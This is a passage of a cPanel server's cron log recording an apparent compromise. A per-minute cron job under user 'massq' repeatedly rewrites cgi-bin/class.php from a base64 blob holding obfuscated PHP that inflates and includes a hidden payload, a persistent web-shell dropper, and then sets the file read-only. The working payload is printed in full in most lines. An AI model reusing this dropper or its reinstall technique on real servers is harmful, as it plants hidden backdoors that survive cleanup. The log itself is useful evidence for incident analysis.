lMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:40:01 server CROND[8929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:40:01 server CROND[8930]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 14:40:01 server CROND[8932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:40:01 server CROND[8938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:41:01 server CROND[9047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:42:01 server CROND[9205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 14:42:01 server CROND[9207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:43:01 server CROND[9271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:44:01 server CROND[9319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:45:01 server CROND[9380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:45:01 server CROND[9381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:45:01 server CROND[9382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:46:01 server CROND[9489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:47:01 server CROND[9552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:48:01 server CROND[9704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:49:01 server CROND[9770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:50:01 server CROND[9843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 14:50:01 server CROND[9846]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 14:50:01 server CROND[9845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 14:50:01 server CROND[9848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 14:50:01 server CROND[9849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:51:01 server CROND[9969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 14:52:01 server CROND[10029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
